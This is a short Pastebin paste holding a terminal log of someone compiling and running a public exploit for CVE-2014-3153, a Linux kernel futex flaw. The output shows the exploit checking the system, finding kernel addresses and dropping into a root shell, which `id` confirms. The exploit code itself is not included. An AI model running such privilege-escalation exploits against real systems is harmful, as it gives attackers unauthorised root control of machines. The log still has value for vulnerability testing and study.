Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- [kokot@localhost ~]$ gcc 35370.c -lpthread
- [kokot@localhost ~]$ ls -ltr
- total 44
- -rw-rw-r--. 1 kokot kokot 17979 Jul 4 18:28 35370.c
- -rwxrwxr-x. 1 kokot kokot 21030 Jul 4 18:30 a.out
- [kokot@localhost ~]$ ./a.out
- CVE-2014-3153 exploit by Chen Kaiqu(kaiquchen@163.com)
- Press RETURN after one second...
- Checking whether exploitable..OK
- Seaching good magic...
- magic1=0xffff88001f68bc70 magic2=0xffff88001dfd1c80
- magic1=0xffff88001f68bc70 magic2=0xffff88001dfd1c80
- magic1=0xffff88001b5b9c70 magic2=0xffff88001dfd1c80
- Good magic found
- Hacking...
- [root@localhost ~]# id
- uid=0(root) gid=0(root) groups=0(root),1000(kokot) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
- [root@localhost ~]#
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement